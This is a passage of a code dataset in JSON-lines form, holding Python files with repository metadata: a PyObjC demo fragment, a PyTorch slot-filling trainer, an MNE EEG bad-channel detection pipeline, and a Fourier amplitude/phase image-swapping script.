self.tlayerView.setUsesTransparencyLayers_(self.transparencyLayerButton.state())\n\n    def shadowOffsetChanged_(self, notification):\n        offset = notification.object().offset()\n        self.tlayerView.setShadowOffset_(offset)\n", "repo_name": "albertz/music-player", "sub_path": "mac/pyobjc-framework-Quartz/Examples/TLayer/TLayerDemo.py", "file_name": "TLayerDemo.py", "file_ext": "py", "file_size_in_byte": 1877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 490, "dataset": "github-code", "pt": "81", "api": [{"api_name": "objc.IBOutlet", "line_number": 10, "usage_type": "call"}, {"api_name": "objc.IBOutlet", "line_number": 11, "usage_type": "call"}, {"api_name": "objc.IBOutlet", "line_number": 12, "usage_type": "call"}, {"api_name": "objc.IBOutlet", "line_number": 13, "usage_type": "call"}, {"api_name": "objc.IBOutlet", "line_number": 14, "usage_type": "call"}, {"api_name": "ShadowOffsetView.ShadowOffsetChanged", "line_number": 40, "usage_type": "attribute"}, {"api_name": "objc.IBAction", "line_number": 50, "usage_type": "attribute"}, {"api_name": "objc.IBAction", "line_number": 54, "usage_type": "attribute"}]}
{"seq_id": "29643420201", "text": "import os\nimport torch\nfrom tqdm import tqdm\nfrom sklearn.metrics import classification_report\nfrom itertools import chain, repeat\n\nfrom src.utils import y1_set\nfrom src.conll2002_metrics import conll2002_measure\n\ndef repeater(dataloader): # for infinite dataloader loop\n    for loader in repeat(dataloader):\n        for data in loader:\n            yield data\n\ndef train(model, \n            model_save_path,\n            dataloader_train, \n            dataloader_val, \n            optim, \n            scheduler, \n            eval_steps, \n            total_steps, \n            early_stopping_patience,\n            loss_key_ratio,\n            log_dict\n            ):\n    \"\"\"\n    trainer function\n\n    \n    \"\"\"\n    model.train()\n    log_dict['eval_results'] = []\n\n    repeat_dataloader = repeater(dataloader_train) # for infinite loop\n    pbar = tqdm(repeat_dataloader, total=total_steps, desc=\"Start Training\")\n    \n    best_step = 0\n    best_f1_score = 0\n    patience = 0\n    losses = []\n\n    for i, features in enumerate(pbar):\n        if i == total_steps:\n            print(f\"Training step reached set maximum steps: {total_steps}\")\n            break\n\n        # features = {\"utter\": utter_data, \"template & augdata\": sth_data}\n        query_input = features['utter']\n        key_input = features['tem_aug_data']\n        optim.zero_grad()\n\n        _crf_loss, logits, _cl_loss = model(query_input, key_input)\n        \n        crf_loss = _crf_loss.mean()\n        cl_loss = _cl_loss.mean()\n\n        loss = crf_loss * (1 - loss_key_ratio) + cl_loss * loss_key_ratio\n        loss.backward()\n        losses.append(loss.detach().cpu().item())\n\n        optim.step()\n        scheduler.step()\n\n        pbar.set_description(f\"LOSS: {losses[-1]:.4f}\")\n\n        # evaluation\n        if (i + 1) % eval_steps == 0:\n            result = {}\n            eval_f1 = eval(model, dataloader_val)['fb1']\n            print(f\"Result(F1-Score) at step {i+1}: {eval_f1}\")\n            result['step'] = i + 1\n            result['f1-score'] = eval_f1\n            log_dict['eval_results'].append(result)\n\n            if eval_f1 > best_f1_score:\n                \"\"\"\n                when better evaluation f1 score is found:\n                update best_f1_score and best_step\n                & save model's parameter\n                \"\"\"\n                print(\"Found better model!\")\n\n                os.makedirs(model_save_path, exist_ok=True)\n                if os.path.isfile(model_save_path+f'best-model-parameters-step-{best_step+1}.pt'):\n                    os.remove(model_save_path+f'best-model-parameters-step-{best_step+1}.pt')\n                torch.save(model.state_dict(), model_save_path+f'best-model-parameters-step-{i+1}.pt')\n                best_f1_score = eval_f1\n                best_step = i\n                patience = 0\n\n            else:\n                patience += 1\n                if patience == early_stopping_patience:\n                    print(f\"Early stop at step {i+1}\")\n                    i += 1\n                    break\n\n            model.train()\n\n    log_dict['stopped_step'] = i\n    log_dict['eval_best_step'] = best_step\n    log_dict['eval_best_f1_score'] = best_f1_score\n\n    return best_step, best_f1_score\n\ndef eval(model, dataloader, file=None):\n    \"\"\"\n    evalutation function for validation dataset and test dataset\n    \n    returns\n    ----------\n    List of losses, F1 Score\n    \"\"\"\n    model.eval()\n    losses = []\n    total_preds = []\n    total_targets = []\n\n    with torch.no_grad():\n        pbar = tqdm(dataloader, total=len(dataloader))\n        for features in pbar:\n            # features = {\"utter\": utter_data, \"template & augdata\": sth_data}\n            query_input = features['utter']\n            # key_input = features['tem_aug_data']\n            _loss, logits, _ = model(query_input)\n            \n            loss = _loss.mean()\n            losses.append(loss.detach().cpu().item())\n            \n            pred = torch.argmax(logits, dim=2)\n            true_labels = query_input['labels']\n            \n            total_preds.extend(pred.tolist())\n            total_targets.extend(true_labels.tolist())\n        \n        # below is for check\n        # rand = torch.randint(query.size()[0], (1,)).item()\n        # decoded = tokenizer.decode(query[rand])\n\n        # print(\"Query     : \", decoded)\n        # print(\"Answer    : \", targets[rand])\n        # print(\"Prediction: \", pred[rand])\n        total_targets = list(chain.from_iterable(total_targets))\n        total_preds = list(chain.from_iterable(total_preds))\n        total_lines = []\n        for target, pred in zip(total_targets, total_preds):\n            bin_target = y1_set[target]\n            bin_pred = y1_set[pred]\n\n            total_lines.append(\"w\" + \" \" + bin_pred + \" \" + bin_target)\n\n        result = conll2002_measure(total_lines)\n        # results = classification_report(total_targets, total_preds, output_dict=True)\n\n    return result", "repo_name": "hursung1/slot-filling-with-contrastive-loss", "sub_path": "trainer.py", "file_name": "trainer.py", "file_ext": "py", "file_size_in_byte": 4924, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "itertools.repeat", "line_number": 11, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 36, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 120, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 131, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 144, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 144, "usage_type": "name"}, {"api_name": "itertools.chain.from_iterable", "line_number": 145, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 145, "usage_type": "name"}, {"api_name": "src.utils.y1_set", "line_number": 148, "usage_type": "name"}, {"api_name": "src.utils.y1_set", "line_number": 149, "usage_type": "name"}, {"api_name": "src.conll2002_metrics.conll2002_measure", "line_number": 153, "usage_type": "call"}]}
{"seq_id": "25085782785", "text": "\"\"\"\n===================================\n02. Find bad EEG sensors\n===================================\n\nEEG bad sensors are found using a simplified version of the PREP pipeline procedure.\n\n\"\"\"  # noqa: E501\n\nimport os.path as op\nimport os\n# import sys\nimport numpy as np\nimport pandas as pd\nfrom fpdf import FPDF\n\nimport mne\nfrom mne.time_frequency import psd_multitaper\nimport matplotlib.pyplot as plt\nimport scipy.stats\n\nfrom config import site_id, subject_id, file_names, out_path\nfrom config import no_eeg_sbj, method\n\n\ndef find_bad_eeg():\n    # stdout_obj = sys.stdout                 # store original stdout \n    # sys.stdout = open(op.join(out_path,     # open log file\n    #                           os.path.basename(__file__) + \"_%s.txt\" % (site_id+subject_id)),'w')\n    \n    # Create empty dataframe for bad channel list\n    df = pd.DataFrame()\n    \n    # Prepare PDF report\n    pdf = FPDF(orientation=\"P\", unit=\"mm\", format=\"A4\")\n    \n    print(\"Processing subject: %s\" % subject_id)\n    run = 0\n    for file_name in file_names:\n        run = run + 1\n        print(\"  File: %s\" % file_name)\n        \n        # Read raw data\n        raw_fname_in = op.join(out_path,\n                               file_name + '_' + method + '.fif')\n        raw = mne.io.read_raw_fif(\n            raw_fname_in, \n            preload=True, \n            verbose='error')\n        \n        # Check if there are EEG data\n        try:\n            raw.copy().pick('eeg')\n        except Exception as e:\n            print(e)\n            raise ValueError(\"Error: there is no EEG recording for this participant (%s)\" % (site_id+subject_id))\n        \n        ##############################################\n        # PHASE 1 : Estimate the true signal average #\n        ##############################################\n        \n        # Select EEG data\n        raw_eeg = raw.copy().pick('eeg')\n        \n        # Reset bads\n        raw_eeg.info['bads'] = []\n        \n        # Plot EEG data\n        fig = raw.copy().pick('eeg').plot(bad_color=(1., 0., 0.),\n                                          scalings = dict(eeg=10e-5),\n                                          duration=5,\n                                          start=100)\n        fname_fig = op.join(out_path,\n                            '02_r%s_bad_egg_0raw.png' % run)\n        fig.savefig(fname_fig)\n        plt.close()\n        \n        # Plot EEG power spectrum\n        fig1 = viz_psd(raw_eeg)\n        fname_fig1 = op.join(out_path,\n                            '02_r%s_bad_egg_0pow.png' % run)\n        fig1.savefig(fname_fig1)\n        plt.close()\n        \n        # Add figure to report\n        pdf.add_page()\n        pdf.set_font('helvetica', 'B', 16)\n        pdf.cell(0, 10, file_name)\n        pdf.ln(20)\n        pdf.set_font('helvetica', 'B', 12)\n        pdf.cell(0, 10, 'Power Spectrum of Raw EEG Data', 'B', ln=1)\n        pdf.image(fname_fig1, 0, 45, pdf.epw)\n        \n        # Init temporary copy of EEG\n        raw_eeg_temp = raw_eeg.copy()\n        \n        # Init average reference\n        ref_temp = np.median(raw_eeg_temp._data.copy(), axis=-2, keepdims=True)\n        \n        # Apply initial average reference\n        raw_eeg_temp._data -= ref_temp\n        \n        # Init bad channel list\n        bad_channels = []\n        \n        # Set max number of iterations and init iteration\n        iteration_max = 100\n        \n        # Detect bad channels and recalculate the reference based on their interpolation\n        for i in range(iteration_max):\n            # Actual bad channel detection\n            bads_temp = []\n            bads_temp = find_bad_channels_eeg(raw_eeg_temp)\n            \n            # Exit loop if no new bad channels are found\n            if all(bad in bad_channels for bad in bads_temp):\n                break\n            else:\n                # Add new bad channel to the list\n                bad_channels += bads_temp\n                \n                # Set bad channels\n                raw_eeg_temp.info['bads'].extend(bads_temp)\n                \n                # Interpolate bad channels from the original data\n                raw_eeg_temp = raw_eeg_temp.interpolate_bads(reset_bads=True)\n                \n                # Get the new average reference\n                ref_temp = raw_eeg_temp._data.copy().mean(-2, keepdims=True)\n                \n                # Get new temp data by removing the new reference from the orignal data\n                raw_eeg_temp._data = raw_eeg._data.copy() - ref_temp\n        \n        # Mark loop bad channels in a new copy of the data\n        raw_eeg_bad = raw_eeg.copy()\n        raw_eeg_bad.info['bads'].extend(bad_channels)\n        \n        # Interpolate loop bad channels\n        raw_eeg_bad = raw_eeg_bad.interpolate_bads(reset_bads=False)\n        \n        # Get the true average reference\n        ref_true = raw_eeg_bad._data.copy().mean(-2, keepdims=True)\n        \n        ############################################################################\n        # PHASE 2 : Find the bad channels relative to true average and interpolate #\n        ############################################################################\n        \n        # Remove true average reference from original EEG data\n        eeg_idx = mne.pick_types(raw.info, meg=False, eeg=True, exclude=[])\n        raw._data[..., eeg_idx, :] -= ref_true\n        \n        # Plot true referenced EEG data\n        fig = raw.copy().pick('eeg').plot(bad_color=(1., 0., 0.),\n                                          scalings = dict(eeg=10e-5),\n                                          duration=5,\n                                          start=100)\n        fname_fig = op.join(out_path,\n                            '02_r%s_bad_egg_1true.png' % run)\n        fig.savefig(fname_fig)\n        plt.close()\n        \n        # Find true bad channels\n        bads_true = find_bad_channels_eeg(raw.copy().pick('eeg'))\n        \n        # Append true bad channels to the list \n        df = df.append({'run': run,\n                        'bad': bads_true}, \n                        ignore_index=True)\n        \n        # Mark true bad channels\n        raw.info['bads'].extend(bads_true)\n        \n        # Interpolate true bad channels\n        raw = raw.interpolate_bads(reset_bads=False)\n        \n        # Plot interpolated EEG data\n        fig = raw.copy().pick('eeg').plot(bad_color=(1., 0., 0.),\n                                          scalings = dict(eeg=10e-5),\n                                          duration=5,\n                                          start=100)\n        fname_fig = op.join(out_path,\n                            '02_r%s_bad_egg_2intrp.png' % run)\n        fig.savefig(fname_fig)\n        plt.close()\n        \n        # Remove the new average reference to correct for the previous referencing\n        raw.set_eeg_reference(ref_channels='average', projection=False)  #if projection=True, the reference is added as a projection and is not applied to the data (it can be applied afterwards with the apply_proj method)\n        \n        # Get reference correction\n        ref_corr = raw.copy().pick('eeg')._data.mean(-2, keepdims=True)\n        \n        # Add correction to reference signal stored in raw\n        ref_true += ref_corr  #TODO: where in raw is the ref stored?\n        \n        # Plot referenced EEG data\n        fig = raw.copy().pick('eeg').plot(bad_color=(1., 0., 0.),\n                                          scalings = dict(eeg=10e-5),\n                                          duration=5,\n                                          start=100)\n        fname_fig = op.join(out_path,\n                            '02_r%s_bad_egg_3refer.png' % run)\n        fig.savefig(fname_fig)\n        plt.close()\n        \n        # Plot referenced EEG power spectrum\n        fig2 = viz_psd(raw)\n        fname_fig2 = op.join(out_path,\n                            '02_r%s_bad_egg_Ipow.png' % run)\n        fig2.savefig(fname_fig2)\n        plt.close()\n        \n        # Add figures to report\n        pdf.ln(120)\n        pdf.cell(0, 10, 'Power Spectrum of Filtered EEG Data', 'B', ln=1)\n        pdf.image(fname_fig2, 0, 175, pdf.epw)\n        \n        # Reset bads\n        raw.info['bads'] = []\n        \n        # Save data\n        fname_out = op.join(out_path,\n                            file_name + '_intpl.fif')\n        raw.save(fname_out, overwrite=True)\n        \n    # Save bad channel list\n    df.to_csv(op.join(out_path,\n                      '02_rAll_eeg_badch_list.csv'),\n              index=False)\n    \n    # Save report\n    pdf.output(op.join(out_path,\n                       os.path.basename(__file__) + '-report.pdf'))\n    \n    # sys.stdout.close()      # close log file\n    # sys.stdout = stdout_obj # restore command prompt\n\n\ndef find_bad_channels_eeg(raw):\n    ''' \n    Find bad EEG channels using on four criteria:\n        - deviation criterion\n        - correlation critetion\n        - noisiness criterion\n    '''\n    \n    #######################\n    # DEVIATION CRITERION #\n    #######################\n        \n    # Get eeg signal\n    amps = raw.copy().pick('eeg')._data\n    \n    # Remove offset\n    amps = amps - amps.mean(axis=1)[:,None]\n    \n    # Normalize (z-score) channel-specific amplitude\n    amps_z= scipy.stats.zscore(amps, axis=None)\n        \n    # Average channel-specific amplitude\n    amp_z_a = amps_z.mean(axis=1)\n    \n    # Find channels with amplitude above threshold\n    thr = 5\n    bad_by_deviation = np.where(amp_z_a > thr)[0]\n    \n    #########################\n    # CORRELATION CRITERION #\n    #########################\n    \n    # Low-pass eeg data to 50 Hz\n    lowpass_signal = raw.copy().pick('eeg').filter(None, 50)\n    \n    # Compute channel-to-channel correlation\n    data_for_corr = pd.DataFrame(np.transpose(lowpass_signal._data))\n    all_corr = data_for_corr.corr()\n    \n    # Get max correlation of each channel  #TODO: store nr of datapoints and corr matrix\n    all_corr[all_corr == 1] = 0\n    max_cor = all_corr.max(axis=1)\n    \n    # Find channels with max correlation below threshold\n    thr = .4\n    bad_by_correlation = np.where(max_cor < thr)[0]\n    \n    #######################\n    # NOISINESS CRITERION #\n    #######################\n    \n    # Divide low and high frequency signals at 50 Hz\n    lowpass_signal = raw.copy().pick('eeg').filter(None, 50)\n    \n    highpass_signal = raw.copy().pick('eeg').filter(50, 100)\n    \n    # Compute power\n    low_power, _ = psd_multitaper(lowpass_signal)\n    low_power = np.sum(low_power, axis=1)\n    \n    high_power, _ = psd_multitaper(highpass_signal)\n    high_power = np.sum(high_power, axis=1)\n    \n    # Get the high/low ratio\n    pow_ratio = high_power/low_power\n    \n    # Normalize ratio\n    pow_ratio_z = scipy.stats.zscore(pow_ratio, axis=None)\n    pow_ratio_z = abs(pow_ratio_z)\n    \n    # Find channels with ratio above threshold\n    thr = 5\n    bad_by_HF_noise = np.where(pow_ratio_z > thr)[0]\n    \n    ####################\n    # BAD CHANNEL LIST #\n    ####################\n\n    # Concatenate bad channel list and exclude repetitions\n    b = np.unique(np.concatenate((bad_by_deviation, bad_by_correlation, bad_by_HF_noise)))\n    bads = []\n    for i in range(len(b)):\n        bads.append(\"EEG0%02d\"%(b[i]+1))\n    return bads\n\n\ndef viz_psd(raw):\n    # Compute averaged power\n    psds, freqs = psd_multitaper(raw,fmin = 1,fmax = 40, picks=['eeg'])\n    psds = np.sum(psds,axis = 1)\n    psds = 10. * np.log10(psds)\n    # Show power spectral density plot\n    fig, ax = plt.subplots(2, 1, figsize=(12, 8))\n    raw.plot_psd(picks = [\"eeg\"], \n                  fmin = 1,fmax = 40,\n                  ax=ax[0])\n    # Normalize (z-score) channel-specific average power values \n    psd = {}\n    psd_zscore = scipy.stats.zscore(psds)\n    for i in range(len(psd_zscore)):\n        psd[\"EEG%03d\"%(i+1)] = psd_zscore[i]\n    # Plot chennels ordered by power\n    ax[1].bar(sorted(psd, key=psd.get,reverse = True),sorted(psd.values(),reverse = True),width = 0.5)\n    labels = sorted(psd, key=psd.get,reverse = True)\n    ax[1].set_xticklabels(labels, rotation=90)\n    ax[1].annotate(\"Average power: %.2e dB\"%(np.average(psds)),(27,np.max(psd_zscore)*0.9),fontsize = 'x-large')\n    return fig\n\n\n# =============================================================================\n# RUN\n# =============================================================================\n\nif subject_id in no_eeg_sbj:\n    raise ValueError(\"Error: no EEG collected for this participant (%s)\" % (site_id+subject_id))\nelse:\n    find_bad_eeg()\n    ", "repo_name": "qiaolililili/WM_GRID", "sub_path": "02-find_bad_eeg.py", "file_name": "02-find_bad_eeg.py", "file_ext": "py", "file_size_in_byte": 12493, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.DataFrame", "line_number": 32, "usage_type": "call"}, {"api_name": "fpdf.FPDF", "line_number": 35, "usage_type": "call"}, {"api_name": "config.subject_id", "line_number": 37, "usage_type": "name"}, {"api_name": "config.file_names", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 44, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 44, "usage_type": "name"}, {"api_name": "config.method", "line_number": 45, "usage_type": "name"}, {"api_name": "mne.io.read_raw_fif", "line_number": 46, "usage_type": "call"}, {"api_name": "mne.io", "line_number": 46, "usage_type": "attribute"}, {"api_name": "config.site_id", "line_number": 56, "usage_type": "name"}, {"api_name": "config.subject_id", "line_number": 56, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 73, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 80, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 98, "usage_type": "call"}, {"api_name": "mne.pick_types", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 157, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 157, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 181, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 181, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 200, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 200, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 207, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 207, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 207, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 221, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 221, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 221, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 226, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 226, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 226, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "config.out_path", "line_number": 231, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 231, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path", "line_number": 232, "usage_type": "attribute"}, {"api_name": "scipy.stats.stats.zscore", "line_number": 257, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 257, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 257, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 264, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 283, "usage_type": "call"}, {"api_name": "mne.time_frequency.psd_multitaper", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 296, "usage_type": "call"}, {"api_name": "mne.time_frequency.psd_multitaper", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 299, "usage_type": "call"}, {"api_name": "scipy.stats.stats.zscore", "line_number": 305, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 305, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 305, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 310, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 317, "usage_type": "call"}, {"api_name": "mne.time_frequency.psd_multitaper", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 328, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 330, "usage_type": "name"}, {"api_name": "scipy.stats.stats.zscore", "line_number": 336, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 336, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 336, "usage_type": "name"}, {"api_name": "numpy.average", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 343, "usage_type": "call"}, {"api_name": "config.subject_id", "line_number": 351, "usage_type": "name"}, {"api_name": "config.no_eeg_sbj", "line_number": 351, "usage_type": "name"}, {"api_name": "config.site_id", "line_number": 352, "usage_type": "name"}, {"api_name": "config.subject_id", "line_number": 352, "usage_type": "name"}]}
{"seq_id": "4214882569", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n# Read images\ncyclist = mpimg.imread('figures/Umberto_Boccioni_Dynamism_of_a_Cyclist_512.png')\nduck = mpimg.imread('figures/Anas_platyrhynchos_male_female_quadrat_512.png')\n\n\ndef rgb2gray(rgb):\n    \"\"\"\n    Convert rgb image to gray image.\n    \"\"\"\n    r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2]\n    gray = 0.2989 * r + 0.5870 * g + 0.1140 * b #standard grayscale conversion\n    return gray\n\ngCyclist = rgb2gray(cyclist)\ngDuck = rgb2gray(duck)\n\n# FFT of both images\nfftCyclist = np.fft.fftshift(np.fft.fft2(gCyclist))\nfig, axes = plt.subplots(figsize=(16,8))\nplt.suptitle('Fourier Transform of \\'Dynamisme of a cyclist\\' ')\nplt.subplot(1,2,1)\nplt.imshow(10.*np.log10(np.abs(fftCyclist))) # Amplitude (dB)\nplt.subplot(1,2,2)\nplt.imshow(np.angle(fftCyclist)) # Phase\n\nfftDuck = np.fft.fftshift(np.fft.fft2(gDuck))\nfig, axes = plt.subplots(figsize=(16,8))\nplt.suptitle('Fourier Transform of Duck')\nplt.subplot(1,2,1)\nplt.imshow(10.*np.log10(np.abs(fftDuck)))\nplt.subplot(1,2,2)\nplt.imshow(np.angle(fftDuck))\n\n\n# Plot Image with Cyclist's amplitude and Duck's phase\nfig = plt.figure(figsize=(8,8))\nplt.title('Hybrid Image of Cyclist (ampl.) and Duck (phase)')\nphase = np.angle(fftDuck) # Phase of the Duck\nampl = np.abs(fftCyclist) # Amplitude of the Cyclist\nfftHybrid = ampl*(np.cos(phase) + 1j*np.sin(phase))\nHybrid = np.abs(np.fft.ifft2(np.fft.fftshift(fftHybrid)))\nimg = plt.imshow(Hybrid)\nimg.set_cmap('gray')\n\nfig = plt.figure(figsize=(8,8))\nplt.title('Hybrid Image of Duck (ampl.) and Cyclist (phase)')\nphase = np.angle(fftCyclist)\nampl = np.abs(fftDuck)\nfftHybrid = ampl*(np.cos(phase) + 1j*np.sin(phase))\nHybrid = np.abs(np.fft.ifft2(np.fft.fftshift(fftHybrid)))\nimg = plt.imshow(Hybrid)\nimg.set_cmap('gray')\n\n\n# Phase only\nfig = plt.figure(figsize=(8,8))\nplt.title('Duck (Phase only)')\nphase = np.angle(fftDuck)\nampl = 1.*np.ones_like(fftDuck)\nfftPhaseDuck = ampl*(np.cos(phase) + 1j*np.sin(phase))\nphaseDuck = np.abs(np.fft.ifft2(np.fft.fftshift(fftPhaseDuck)))\nimg = plt.imshow(phaseDuck)\nimg.set_cmap('gray')\n\n\n# Amplitude only \nfig, axes = plt.subplots(figsize=(16,8))\nplt.title('Duck (Amplitude Only)')\nphs = np.zeros_like(fftDuck)\nampl = np.abs(fftDuck)\nfftAmpDuck = ampl\n\nplt.subplot(1,2,1)\nAmpDuck = np.abs(np.fft.fftshift(np.fft.ifft2(fftAmpDuck)))\nimg = plt.imshow(AmpDuck)\nimg.set_cmap('gray')\n\nplt.subplot(1,2,2)\nAmpDuck = 10.*np.log10(np.abs(np.fft.ifftshift(np.fft.ifft2(fftAmpDuck))))\nimg = plt.imshow(AmpDuck)\nimg.set_cmap('gray')\n\n\nplt.show()\n\n", "repo_name": "NicolasMonnier/Interfero_examples", "sub_path": "Imaging/FT_Image.py", "file_name": "FT_Image.py", "file_ext": "py", "file_size_in_byte": 2552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.image.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 6, "usage_type": "name"}, {"api_name": "matplotlib.image.imread", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.fft.fftshift", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft2", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.fft.fftshift", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft2", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 